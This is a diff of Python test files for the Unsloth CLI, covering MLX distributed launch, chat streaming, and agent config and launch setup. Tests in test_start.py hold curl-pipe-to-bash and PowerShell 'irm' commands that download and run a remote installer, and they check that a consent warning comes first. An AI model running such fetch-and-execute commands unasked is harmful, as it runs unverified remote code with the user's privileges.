-    assert config["providers"]["openrouter"]["base_url"] == "https://openrouter.ai/api/v1"
-    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
-    before = hermes_config.read_text()
-    connect.write_hermes_config(BASE, MODEL)
-    assert hermes_config.read_text() == before
-
-
-def test_write_hermes_config_preserves_non_mapping_file(hermes_config, capsys):
-    pytest.importorskip("yaml")
-    original = "- just\n- a\n- list\n"  # valid YAML, but not a mapping
-    hermes_config.write_text(original)
-    connect.write_hermes_config(BASE, MODEL)
-    assert hermes_config.read_text() == original  # user-managed file left untouched
-    assert "couldn't parse" in capsys.readouterr().err
-
-
-def test_connect_hermes_no_launch(fake_studio, hermes_config):
-    yaml = pytest.importorskip("yaml")
-    result = CliRunner().invoke(connect.connect_app, ["hermes", "--no-launch"])
-    assert result.exit_code == 0, result.output
-    _assert_env_set(result.output, "UNSLOTH_API_KEY", "sk-unsloth-feedfacefeedface")
-    assert "hermes" in result.output
-    config = yaml.safe_load(hermes_config.read_text())
-    assert config["model"]["provider"] == "custom:unsloth"
-    assert config["providers"]["unsloth"]["base_url"] == f"{BASE}/v1"
-    assert config["model"]["default"] == MODEL["id"]
-    assert not any(c[1].endswith("/api/inference/status") for c in fake_studio)
diff --git a/unsloth_cli/tests/test_inference_chat.py b/unsloth_cli/tests/test_inference_chat.py
index 013b7c5a81..56633408fb 100644
--- a/unsloth_cli/tests/test_inference_chat.py
+++ b/unsloth_cli/tests/test_inference_chat.py
@@ -26,6 +26,8 @@ from unsloth_cli._inference import (
     ChatBackend,
     HttpChatBackend,
     collect_stream,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
     render_columns,
     visible_text,
 )
@@ -39,6 +41,16 @@ class _FakeConfig:
     path = None
 
 
+_EXPECTED_MPI_ENV_PAIRS = [
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+]
+_IGNORED_DISTRIBUTED_ENV_PAIRS = [("SLURM_PROCID", "SLURM_NTASKS")]
+
+
 def _chat_app():
     cli = typer.Typer()
     cli.command()(chatmod.chat)
@@ -53,6 +65,39 @@ def _inference_app():
     return cli
 
 
+def _clear_mlx_distributed_env(monkeypatch):
+    for name in (
+        "MLX_RANK",
+        "MLX_HOSTFILE",
+        "MLX_WORLD_SIZE",
+        "MLX_IBV_DEVICES",
+        "MLX_JACCL_COORDINATOR",
+        "NCCL_HOST_IP",
+        "NCCL_PORT",
+        *(rank for rank, _size in _EXPECTED_MPI_ENV_PAIRS + _IGNORED_DISTRIBUTED_ENV_PAIRS),
+        *(size for _rank, size in _EXPECTED_MPI_ENV_PAIRS + _IGNORED_DISTRIBUTED_ENV_PAIRS),
+    ):
+        monkeypatch.delenv(name, raising = False)
+
+
+def _set_mlx_nccl_env(
+    monkeypatch,
+    *,
+    rank: str = "0",
+    size: str = "2",
+):
+    monkeypatch.setenv("MLX_RANK", rank)
+    monkeypatch.setenv("MLX_WORLD_SIZE", size)
+    monkeypatch.setenv("NCCL_HOST_IP", "127.0.0.1")
+    monkeypatch.setenv("NCCL_PORT", "12345")
+
+
+@pytest.fixture(autouse = True)
+def _isolate_mlx_distributed_env(monkeypatch):
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.delenv("HF_TOKEN", raising = False)
+
+
 def test_visible_text_passthrough_when_shown():
     text = "<think>reasoning</think>answer"
     assert visible_text(text, show_thinking = True) == text
@@ -101,6 +146,46 @@ def test_inference_exposes_gguf_runtime_options():
     assert "--llama-extra-arg" in (getattr(extra, "param_decls", None) or [])
 
 
+def test_mlx_distributed_info_reads_launch_env(monkeypatch, tmp_path):
+    _clear_mlx_distributed_env(monkeypatch)
+    assert mlx_distributed_info() == (False, 0, None)
+    assert mlx_distributed_uses_mpi() is False
+
+    monkeypatch.setenv("MLX_RANK", "1")
+    monkeypatch.setenv("MLX_WORLD_SIZE", "2")
+    assert mlx_distributed_info() == (False, 0, None)
+    monkeypatch.setenv("NCCL_HOST_IP", "127.0.0.1")
+    monkeypatch.setenv("NCCL_PORT", "12345")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    ring_hostfile = tmp_path / "ring.json"
+    ring_hostfile.write_text('[["127.0.0.1:5000"], ["127.0.0.1:5001"]]\n')
+    monkeypatch.setenv("MLX_RANK", "0")
+    monkeypatch.setenv("MLX_HOSTFILE", str(ring_hostfile))
+    assert mlx_distributed_info() == (True, 0, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("MLX_RANK", "1")
+    monkeypatch.setenv("MLX_IBV_DEVICES", '[["node-a"], ["node-b"]]')
+    monkeypatch.setenv("MLX_JACCL_COORDINATOR", "node-a:12345")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("OMPI_COMM_WORLD_RANK", "1")
+    monkeypatch.setenv("OMPI_COMM_WORLD_SIZE", "2")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is True
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("MLX_RANK", "bad")
+    monkeypatch.setenv("MLX_WORLD_SIZE", "-3")
+    assert mlx_distributed_info() == (False, 0, None)
+
+
 def test_chat_command_is_registered_with_options():
     params = inspect.signature(chatmod.chat).parameters
     assert "model" in params
@@ -751,7 +836,6 @@ def test_chat_server_mode_compare_loads_base_locally(monkeypatch):
 
     assert result.exit_code == 0, result.output
     assert "(compare on)" in result.output
-    # Only the base model loaded locally, on its own private backend.
     assert base_loads == [("fake/base", True)]
     assert streamed == ["base", "tuned"]
     assert set(closed) == {"http", "base"}
@@ -785,6 +869,248 @@ def test_chat_compare_on_mlx_loads_base_model_side_by_side(monkeypatch):
 
     assert result.exit_code == 0, result.output
     assert loads == [("tuned-run", False), ("fake/base", True)]
-    # Both models answered the turn, via plain generation (no adapter toggle).
     assert ("base", None) in streamed and ("tuned", None) in streamed
     assert set(closed) == {"tuned", "base"}
+
+
+@pytest.mark.parametrize(
+    ("chunk_kind", "expected_exit"),
+    [
+        ("answer", 0),
+        ("model_text_error", 0),
+        ("real_error", 1),
+    ],
+)
+def test_inference_under_mlx_launch_handles_stream(monkeypatch, chunk_kind, expected_exit):
+    from unsloth_cli.commands import inference as infermod
+    from unsloth_cli._inference import ensure_studio_backend_path
+
+    ensure_studio_backend_path()
+    from core.inference.orchestrator import GenStreamError
+
+    if chunk_kind == "answer":
+        chunks = ["answer"]
+    elif chunk_kind == "model_text_error":
+        # Model output whose visible text starts with "Error:" must not abort.
+        chunks = ["Error: printed by the model, not a backend failure"]
+    else:
+        chunks = [GenStreamError("Error: generation failed")]
+
+    loads, closed = [], []
+
+    class _FakeBackend:
+        def stream(self, messages, **kwargs):
+            return iter(chunks)
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(
+        infermod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(
+        infermod,
+        "load_chat_backend",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeBackend())[1],
+    )
+
+    result = CliRunner().invoke(
+        _inference_app(),
+        ["fake-model", "hello", "--tensor-parallel"],
+    )
+
+    assert result.exit_code == expected_exit, result.output
+    assert loads[0][1]["tensor_parallel"] is True
+    if chunk_kind == "real_error":
+        assert "generation failed" in result.output
+
+
+def test_chat_under_mlx_launch_nonzero_rank_drains_stdin(monkeypatch):
+    drains, closed = [], []
+    turns = iter(
+        [
+            {"type": "turn", "text": "hi"},
+            {"type": "turn", "text": "/exit"},
+        ]
+    )
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            assert obj is None
+            return next(turns)
+
+        def stream(self, messages, **kwargs):
+            return iter(["hidden"])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "1")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: _FakeChatBackend())
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+    monkeypatch.setattr(chatmod, "_drain_available_stdin", lambda: drains.append(True))
+
+    result = CliRunner().invoke(_chat_app(), ["fake-model"], input = "hi\n/exit\n")
+
+    assert result.exit_code == 0, result.output
+    assert "Chatting with" not in result.output
+    assert drains == [True, True]
+    assert closed == [True]
+
+
+def test_chat_under_mlx_launch_rank0_bypasses_studio_and_prints(monkeypatch):
+    loads, shares, closed = [], [], []
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            shares.append((obj, timeout))
+            return obj
+
+        def stream(self, messages, **kwargs):
+            return iter(["hello"])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(
+        chatmod,
+        "load_chat_backend",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeChatBackend())[1],
+    )
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(
+        _chat_app(),
+        ["fake-model", "--tensor-parallel"],
+        input = "hi\n/exit\n",
+    )
+
+    assert result.exit_code == 0, result.output
+    assert "Chatting with fake-model" in result.output
+    assert "hello" in result.output
+    assert loads and loads[0][0] == "fake-model"
+    assert loads[0][1]["tensor_parallel"] is True
+    assert shares == [
+        ({"type": "turn", "text": "hi"}, None),
+        ({"type": "turn", "text": "/exit"}, None),
+    ]
+
+
+@pytest.mark.parametrize(
+    ("stream_error", "expected_exit"),
+    [("exception", 1), ("chunk", 1), ("model_text", 0)],
+)
+def test_chat_under_mlx_launch_exits_on_generation_error(monkeypatch, stream_error, expected_exit):
+    from unsloth_cli._inference import ensure_studio_backend_path
+
+    ensure_studio_backend_path()
+    from core.inference.orchestrator import GenStreamError
+
+    closed = []
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            return obj
+
+        def stream(self, messages, **kwargs):
+            if stream_error == "exception":
+                raise RuntimeError("generation failed")
+            if stream_error == "model_text":
+                # Plain model text starting with "Error:" must not abort the run.
+                return iter(["Error: printed by the model"])
+            return iter([GenStreamError("Error: generation failed")])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: _FakeChatBackend())
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(_chat_app(), ["fake-model"], input = "hi\n/exit\n")
+
+    assert result.exit_code == expected_exit
+    if expected_exit:
+        assert "generation failed" in result.output
+    assert closed == [True]
+
+
+def test_load_chat_backend_forwards_mlx_distributed_options(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    calls = []
+
+    class _FakeBackend:
+        def load_model(self, **kwargs):
+            calls.append(kwargs)
+            return True
+
+    class _FakeModelConfig:
+        is_gguf = False
+
+        @classmethod
+        def from_identifier(cls, **_kwargs):
+            return cls()
+
+    fake_backend = _FakeBackend()
+    fake_inference = types.ModuleType("core.inference")
+    fake_inference.get_inference_backend = lambda: fake_backend
+    fake_utils = types.ModuleType("utils")
+    fake_utils.__path__ = []
+    fake_models = types.ModuleType("utils.models")
+    fake_models.ModelConfig = _FakeModelConfig
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", fake_inference)
+    monkeypatch.setitem(sys.modules, "utils", fake_utils)
+    monkeypatch.setitem(sys.modules, "utils.models", fake_models)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    inference.load_chat_backend(
+        "fake-model",
+        hf_token = None,
+        max_seq_length = 2048,
+        load_in_4bit = True,
+        tensor_parallel = True,
+    )
+
+    assert calls[0]["tensor_parallel"] is True
+    assert calls[0]["mlx_distributed"] is True
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
new file mode 100644
index 0000000000..7e76465144
--- /dev/null
+++ b/unsloth_cli/tests/test_start.py
@@ -0,0 +1,2947 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for `unsloth start` — config merging and launch env, no network."""
+
+from __future__ import annotations
+
+import json
+import os
+import shlex
+import sys
+import urllib.error
+from pathlib import Path
+from types import SimpleNamespace
+
+_REPO_ROOT = Path(__file__).resolve().parents[2]
+if str(_REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(_REPO_ROOT))
+
+
+import pytest
+from typer.testing import CliRunner
+
+import unsloth_cli.commands.start as start
+
+BASE = "http://127.0.0.1:8888"
+MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072}
+
+
+# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and
+# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form.
+def _assert_env_set(output: str, name: str, value: str) -> None:
+    needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}"
+    assert needle in output, f"{needle!r} not found in:\n{output}"
+
+
+def _assert_env_unset(output: str, name: str) -> None:
+    needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}"
+    assert needle in output, f"{needle!r} not found in:\n{output}"
+
+
+def _launch_command(output: str) -> list:
+    # The --no-launch recipe ends with a self-contained one-liner: inline NAME=value
+    # assignments, then the command. Return just the command argv.
+    last = [ln for ln in output.splitlines() if ln.strip()][-1]
+    parts = shlex.split(last)
+    for i, part in enumerate(parts):
+        name = part.partition("=")[0]
+        if "=" not in part or not name.replace("_", "").isalnum():
+            return parts[i:]
+    return []
+
+
+def _fake_claude(monkeypatch, version_output: str) -> None:
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda *args, **kwargs: SimpleNamespace(stdout = version_output),
+    )
+
+
+def test_claude_flags_passed_to_supported_claude(monkeypatch):
+    _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n")
+    assert start._claude_flags() == [
+        "--exclude-dynamic-system-prompt-sections",
+        "--settings",
+        start._CLAUDE_SETTINGS_OVERLAY,
+    ]
+
+
+def test_claude_flags_skipped_on_old_claude(monkeypatch):
+    _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n")
+    assert start._claude_flags() == []
+
+
+def test_claude_flags_skipped_on_unparseable_version(monkeypatch):
+    _fake_claude(monkeypatch, "weird build string\n")
+    assert start._claude_flags() == []
+
+
+def test_claude_flags_detected_when_version_not_first_token(monkeypatch):
+    # The X.Y.Z is pulled from anywhere in the output, so a format change (version not
+    # the first token) doesn't silently drop the optimization flags.
+    _fake_claude(monkeypatch, "claude version 2.1.98\n")
+    assert start._claude_flags() == [
+        "--exclude-dynamic-system-prompt-sections",
+        "--settings",
+        start._CLAUDE_SETTINGS_OVERLAY,
+    ]
+
+
+def test_install_agent_prompts_then_installs(monkeypatch):
+    # TTY + yes: run the documented install command, then re-resolve the now-present binary.
+    monkeypatch.setattr(start.os, "name", "posix")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
+    ran = []
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda command, *a, **k: ran.append(command) or SimpleNamespace(returncode = 0),
+    )
+    # _install_agent only re-resolves after installing (the pre-install check is the
+    # caller's job), so `which` reports the now-present binary.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    executable = start._install_agent("codex", "npm install -g @openai/codex")
+    assert executable == "/usr/local/bin/codex"
+    assert ran == [["/bin/sh", "-c", "npm install -g @openai/codex"]]
+
+
+def test_install_agent_uses_powershell_on_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: True)
+    ran = []
+    monkeypatch.setattr(
+        start.subprocess,
+        "run",
+        lambda command, *a, **k: ran.append(command) or SimpleNamespace(returncode = 0),
+    )
+    monkeypatch.setattr(start.shutil, "which", lambda _: r"C:\Users\samle\bin\hermes.exe")
+
+    install_hint = "& ([scriptblock]::Create((irm https://x/install.ps1))) -SkipSetup"
+    executable = start._install_agent("hermes", install_hint)
+
+    assert executable == r"C:\Users\samle\bin\hermes.exe"
+    assert ran == [["powershell", "-NoProfile", "-Command", install_hint]]
+
+
+def test_install_agent_warns_and_names_remote_source(monkeypatch, capsys):
+    # Before the confirm, a remote installer must name the URL it fetches so the
+    # user consents to a specific source rather than blindly accepting.
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)  # decline: nothing runs
+    hint = "& ([scriptblock]::Create((irm https://hermes-agent.nousresearch.com/install.ps1))) -SkipSetup"
+    assert start._install_agent("hermes", hint) is None
+    err = capsys.readouterr().err
+    assert "https://hermes-agent.nousresearch.com/install.ps1" in err
+    assert "download and RUN" in err
+    assert "signature or hash" in err
+
+
+def test_install_agent_warns_for_package_installer(monkeypatch, capsys):
+    # An npm-style installer has no URL to fetch, but still runs with the user's
+    # privileges, so the warning names the command instead.
+    monkeypatch.setattr(start.os, "name", "posix")
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+    err = capsys.readouterr().err
+    assert "npm install -g @openai/codex" in err
+    assert "with your privileges" in err
+
+
+def test_hermes_install_hint_is_windows_native_on_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "nt")
+
+    # Scriptblock form so `-SkipSetup` reaches the installer and the interactive
+    # setup wizard is skipped during the unattended `unsloth start hermes` run.
+    assert start._hermes_install_hint() == (
+        "& ([scriptblock]::Create((irm https://hermes-agent.nousresearch.com/install.ps1)))"
+        " -SkipSetup"
+    )
+
+
+def test_hermes_install_hint_is_bash_on_posix(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "posix")
+
+    # `bash -s -- --skip-setup` forwards the skip flag to the piped installer.
+    assert start._hermes_install_hint() == (
+        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
+        "/main/scripts/install.sh | bash -s -- --skip-setup"
+    )
+
+
+def test_refresh_windows_path_noop_off_windows(monkeypatch):
+    monkeypatch.setattr(start.os, "name", "posix")
+    before = os.environ.get("PATH", "")
+    monkeypatch.setenv("PATH", before)
+    start._refresh_windows_path()
+    assert os.environ.get("PATH", "") == before
+
+
+def test_refresh_windows_path_merges_registry_hives(monkeypatch):
+    # Fake Windows registry PATH values written after this process started.
+    hkcu, hklm = object(), object()
+    reg = {
+        (hkcu, "Environment"): r"C:\existing;C:\Users\me\hermes\bin",
+        (
+            hklm,
+            r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment",
+        ): r"C:\Windows\System32",
+    }
+
+    class _Key:
+        def __init__(self, value):
+            self._value = value
+
+        def __enter__(self):
+            return self
+
+        def __exit__(self, *a):
+            return False
+
+    def open_key(root, sub):
+        if (root, sub) in reg:
+            return _Key(reg[(root, sub)])
+        raise OSError("missing hive")
+
+    fake_winreg = SimpleNamespace(
+        HKEY_CURRENT_USER = hkcu,
+        HKEY_LOCAL_MACHINE = hklm,
+        OpenKey = open_key,
+        QueryValueEx = lambda key, name: (key._value, 1),
+    )
+    monkeypatch.setattr(start.os, "name", "nt")
+    monkeypatch.setattr(start.os, "pathsep", ";")
+    monkeypatch.setitem(sys.modules, "winreg", fake_winreg)
+    monkeypatch.setenv("PATH", r"C:\custom;C:\existing")
+
+    start._refresh_windows_path()
+
+    assert os.environ["PATH"].split(";") == [
+        r"C:\custom",
+        r"C:\existing",
+        r"C:\Users\me\hermes\bin",
+        r"C:\Windows\System32",
+    ]
+
+
+def test_install_agent_declined_returns_none(monkeypatch):
+    # TTY + no: never runs anything; caller falls back to the print-hint failure.
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: True))
+    monkeypatch.setattr(start.typer, "confirm", lambda *a, **k: False)
+    monkeypatch.setattr(start.shutil, "which", lambda _: None)
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: pytest.fail("should not install when declined")
+    )
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+
+
+def test_install_agent_non_interactive_returns_none(monkeypatch):
+    # No TTY (piped stdin): cannot prompt, so don't install; return None silently.
+    monkeypatch.setattr(start.sys, "stdin", SimpleNamespace(isatty = lambda: False))
+    monkeypatch.setattr(
+        start.subprocess, "run", lambda *a, **k: pytest.fail("should not install without a TTY")
+    )
+    assert start._install_agent("codex", "npm install -g @openai/codex") is None
+
+
+def _parse_toml(text: str) -> dict:
+    tomllib = pytest.importorskip("tomllib")
+    return tomllib.loads(text)
+
+
+def test_merge_codex_config_fresh():
+    merged = start._merge_codex_config("", BASE)
+    parsed = _parse_toml(merged)
+    assert parsed["oss_provider"] == "unsloth_api"
+    provider = parsed["model_providers"]["unsloth_api"]
+    assert provider["base_url"] == f"{BASE}/v1"
+    assert provider["wire_api"] == "responses"
+    assert provider["requires_openai_auth"] is False
+
+
+def test_merge_codex_config_replaces_stale_block():
+    existing = (
+        'model = "gpt-5"\n'
+        "\n"
+        "[model_providers.unsloth_api]\n"
+        'base_url = "http://old-host:9999/v1"\n'
+        'wire_api = "chat"\n'
+        "\n"
+        "[model_providers.unsloth_api.http_headers]\n"
+        'x-old = "1"\n'
+        "\n"
+        "[model_providers.ollama]\n"
+        'base_url = "http://localhost:11434/v1"\n'
+    )
+    merged = start._merge_codex_config(existing, BASE)
+    parsed = _parse_toml(merged)
+    assert parsed["model"] == "gpt-5"
+    assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1"
+    assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses"
+    assert "http_headers" not in parsed["model_providers"]["unsloth_api"]
+    assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1"
+    assert start._merge_codex_config(merged, BASE) == merged
+
+
+def test_merge_codex_config_keeps_user_oss_provider():
+    merged = start._merge_codex_config('oss_provider = "ollama"\n', BASE)
+    assert _parse_toml(merged)["oss_provider"] == "ollama"
+
+
+def test_write_codex_config_profile(tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: True)
+    start.write_codex_config(BASE, MODEL, tmp_path)
+    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
+    assert profile["oss_provider"] == "unsloth_api"
+    assert profile["model_provider"] == "unsloth_api"
+    assert profile["model"] == MODEL["id"]
+    assert profile["model_context_window"] == 131072
+
+    catalog_path = Path(profile["model_catalog_json"])
+    assert catalog_path == Path("model-catalog.json")
+    catalog = json.loads((tmp_path / catalog_path).read_text())
+    assert catalog["models"][0]["slug"] == MODEL["id"]
+    assert catalog["models"][0]["context_window"] == 131072
+    assert catalog["models"][0]["max_context_window"] == 131072
+    assert catalog["models"][0]["supports_reasoning_summary_parameter"] is False
+    assert catalog["models"][0]["supports_parallel_tool_calls"] is False
+
+    assert catalog["models"][0]["base_instructions"] == start._CODEX_FALLBACK_PROMPT.read_text()
+    config = _parse_toml((tmp_path / "config.toml").read_text())
+    assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN"
+
+
+def test_write_codex_config_catalog_without_context_length(tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: True)
+    start.write_codex_config(BASE, {"id": "unsloth/no-window"}, tmp_path)
+    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
+    catalog = json.loads((tmp_path / profile["model_catalog_json"]).read_text())
+    entry = catalog["models"][0]
+    assert entry["slug"] == "unsloth/no-window"
+    assert "context_window" not in entry
+    assert "max_context_window" not in entry
+
+
+@pytest.mark.parametrize(
+    ("version", "expected"),
+    [("codex-cli 0.109.0", False), ("codex-cli 0.110.0", True), ("codex-cli 0.144.4", True)],
+)
+def test_codex_model_catalog_version_gate(monkeypatch, version, expected):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    monkeypatch.setattr(start.subprocess, "check_output", lambda *args, **kwargs: version)
+    assert start._codex_supports_model_catalog() is expected
+
+
+def test_write_codex_config_omits_catalog_for_old_codex(tmp_path, monkeypatch):
+    monkeypatch.setattr(start, "_codex_supports_model_catalog", lambda: False)
+    start.write_codex_config(BASE, MODEL, tmp_path)
+    profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text())
+    assert "model_catalog_json" not in profile
+    assert not (tmp_path / "model-catalog.json").exists()
+
+
+@pytest.fixture()
+def fake_studio(tmp_path, monkeypatch):
+    calls = []
+    state = {"models": [MODEL]}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url, payload))
+        if url.endswith("/v1/models"):
+            return {"object": "list", "data": state["models"]}
+        if url.endswith("/api/inference/status"):
+            return {"is_gguf": True, "model_identifier": state["models"][0]["id"]}
+        if url.endswith("/api/auth/api-keys"):
+            return {"key": "sk-unsloth-feedfacefeedface"}
+        if url.endswith("/api/inference/load"):
+            state["models"] = [{"id": payload["model_path"], "context_length": 4096}]
+            return {}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "find_studio_server", lambda: BASE)
+    # Identity handshake has its own tests; trust the loopback server here.
+    monkeypatch.setattr(start, "verify_studio_identity", lambda base: True)
+    # _studio_token / api-keys are faked so the mint flow stays offline.
+    monkeypatch.setattr(start, "_studio_token", lambda: "jwt-token")
+    monkeypatch.setattr(start, "_http_json", http_json)
+    monkeypatch.setattr(start, "_key_cache_path", lambda: tmp_path / "agent_api_key.json")
+    # --no-launch session configs land under tmp instead of the real Unsloth dir.
+    monkeypatch.setattr(start, "_agents_config_root", lambda: tmp_path / "agents")
+    # No `claude` on PATH, so _claude_flags never probes the real binary.
+    monkeypatch.setattr(start.shutil, "which", lambda _: None)
+    monkeypatch.delenv("UNSLOTH_API_KEY", raising = False)
+    return calls
+
+
+def test_connect_claude_no_launch(fake_studio):
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
+    assert result.exit_code == 0, result.output
+    _assert_env_unset(result.output, "ANTHROPIC_API_KEY")
+    _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN")
+    _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE)
+    _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface")
+    _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"])
+    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1")
+    _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1")
+    # Suppress the full-screen TUI redraw so a bursty local server doesn't flicker.
+    _assert_env_set(result.output, "CLAUDE_CODE_NO_FLICKER", "1")
+    # Attribution header is suppressed for the session via env + --settings, never
+    # by writing the user's ~/.claude/settings.json.
+    _assert_env_set(result.output, "CLAUDE_CODE_ATTRIBUTION_HEADER", "0")
+    # Auto-compact window is sized to the loaded model's real context length so the
+    # session compacts before it overflows the local server's (much smaller) window,
+    # and compaction is forced at 90% of it for headroom.
+    _assert_env_set(result.output, "CLAUDE_CODE_AUTO_COMPACT_WINDOW", str(MODEL["context_length"]))
+    _assert_env_set(result.output, "CLAUDE_AUTOCOMPACT_PCT_OVERRIDE", "90")
+    assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output
+    # Overlay is passed inline (session-only), not a path into the user's ~/.claude.
+    assert "--settings" in result.output
+    assert ".claude/settings.json" not in result.output
+
+
+def test_connect_claude_compact_window_omitted_without_context(fake_studio, monkeypatch):
+    # A model that doesn't report a context length -> leave Claude's default window
+    # rather than guessing one.
+    monkeypatch.setattr(start, "_resolve_model", lambda *a, **k: {"id": "local-model"})
+    result = CliRunner().invoke(start.start_app, ["claude", "--no-launch"])
